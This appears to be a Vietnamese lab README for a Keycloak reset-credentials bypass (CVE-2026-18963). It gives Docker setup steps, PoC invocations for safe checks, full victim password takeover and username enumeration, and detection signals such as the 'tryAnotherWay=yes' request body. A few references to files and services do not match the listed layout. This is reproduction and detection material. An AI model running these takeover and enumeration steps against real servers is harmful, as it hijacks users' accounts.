## https://sploitus.com/exploit?id=D4CFF858-A034-5F2B-97AD-49F95C4276FA
# CVE-2026-18963
Keycloak reset-credentials bypass → unauthenticated account takeover
**CVSS 9.1** | Ảnh hưởng: Keycloak 26.0.0 – 26.7.1
> Lab này tái dựng từ README gốc của `snizi/cve-2026-18963-exploit`
---
## Cấu trúc
```
cve-2026-18963-lab/
├── cve_2026_18963_poc.py ← PoC script (Python 3.9+, stdlib only)
└── README.md
├── docker-compose.yml ← Dựng môi trường lab
├── realm-poc.json ← Keycloak realm config
```
---
## Yêu cầu
- Docker + Docker Compose
- Python 3.9+ (stdlib only, không cần cài thêm gì)
- Linux
---
## Bước 1: Dựng lab
```bash
cd lab/
chmod +x reset-victim.sh
docker compose up -d
OR chạy trực tiếp:
docker run -p 127.0.0.1:8080:8080 -e KC_BOOTSTRAP_ADMIN_USERNAME=admin -e KC_BOOTSTRAP_ADMIN_PASSWORD=admin quay.io/keycloak/keycloak:26.7.1 start-dev
```
### Các service:
| Service | URL | Version | Tình trạng |
|-------------|-----------------------|----------|--------------------|
| kc-vuln | http://localhost:8080 | 26.7.1 | **VULNERABLE** ⚠️ |
| Mailpit | http://localhost:8025 | latest | Bắt email |
### Credentials mặc định:
- Keycloak admin: `admin` / `admin`
- Victim user: `victim` / `OriginalPassw0rd!`
- Realm: `poc` | Client: `poc-app`
- Check config: Realm settings --> Login tab --> Forgot password is on
- Nếu chưa thấy realm:poc, user: victim có thể upload file json realm-poc.json tại: Manage realms --> Create realm --> Upload file.
---
## Bước 2: Chạy PoC
### Safe check (không cần username, không side effect):
```bash
python3 cve_2026_18963_poc.py \
--base http://localhost:8080 --realm poc \
--client-id poc-app \
--redirect-uri http://localhost:9999/callback \
--safe-check
```
**Kết quả kỳ vọng trên kc-vuln:**
`[!] VULNERABLE — email gate execution được serve`
---
### Non-destructive proof (dừng ở Update Password form):
```bash
python3 cve_2026_18963_poc.py \
--base http://localhost:8080 --realm poc \
--client-id poc-app \
--redirect-uri http://localhost:9999/callback \
--victim victim --check
```
> Side effects: email reset gửi tới victim (xem tại http://localhost:8025),
> `emailVerified` bị set `true`.
---
### Full takeover:
```bash
python3 cve_2026_18963_poc.py \
--base http://localhost:8080 --realm poc \
--client-id poc-app \
--redirect-uri http://localhost:9999/callback \
--victim victim \
--new-password 'PoCPassw0rd!1'
```
Sau khi chạy, verify bằng cách login vào http://localhost:8080/realms/poc/account
với `victim` / `PoCPassw0rd!1`.
---
### Username enumeration:
```bash
echo -e "victim\nadmin\nnobody" > userlist.txt
python3 cve_2026_18963_poc.py \
--base http://localhost:8080 --realm poc \
--client-id poc-app \
--redirect-uri http://localhost:9999/callback \
--enum userlist.txt
```
---
## Bước 3: Reset victim về trạng thái ban đầu
```bash
# Target kc-vuln
cd lab/ && ./reset-victim.sh
# Target kc-patched
KC=http://localhost:8100 ./reset-victim.sh
```
---
## Teardown
```bash
cd lab/
docker compose down -v
```
---
## Detection signals
| Signal | Hợp lệ | Exploit |
|--------|---------|---------|
| `GET /login-actions/action-token?...` | ✅ Có | ❌ Không có |
| `POST .../reset-credentials` với body `tryAnotherWay=yes` | ❌ Không có | ✅ Có |
| `SEND_RESET_PASSWORD` → `UPDATE_PASSWORD` cùng `code_id` < 2 giây | Hiếm | ✅ Luôn có |
| `emailVerified` flip `true` không có `VERIFY_EMAIL` event | ❌ | ✅ Luôn có |
Xem trong Mailpit (http://localhost:8025): email reset password sẽ đến hộp thư victim
nhưng **link trong đó chưa bao giờ được click** khi exploit thành công.
---
## Phiên bản bị ảnh hưởng
| Dòng release | Bị ảnh hưởng | Fix |
|--------------|------------------|-----------------------|
| ≤ 17 (WildFly) | Không | — |
| 26.0 – 26.3 | 26.0.0 – 26.x.x | Không có (phải lên 26.7.2) |
| 26.4 | 26.4.0 – 26.4.14 | 26.4.15 (vendor backport) |
| 26.5 | 26.5.0 – 26.5.7 | Không có |
| 26.6 | 26.6.0 – 26.6.5 | 26.6.6 (vendor backport) |
| 26.7 | 26.7.0 – 26.7.1 | **26.7.2** ✅ |
---
## References
- Sploitus (README gốc): https://sploitus.com/exploit?id=A76D2FC5-1440-568B-81C2-B0213465485E
- Keycloak issue: https://github.com/keycloak/keycloak/issues/51833
- Fix PR: https://github.com/keycloak/keycloak/pull/51844
- GHSA: GHSA-4gv3-mc9p-5wqc
- Red Hat: https://access.redhat.com/security/cve/cve-2026-18963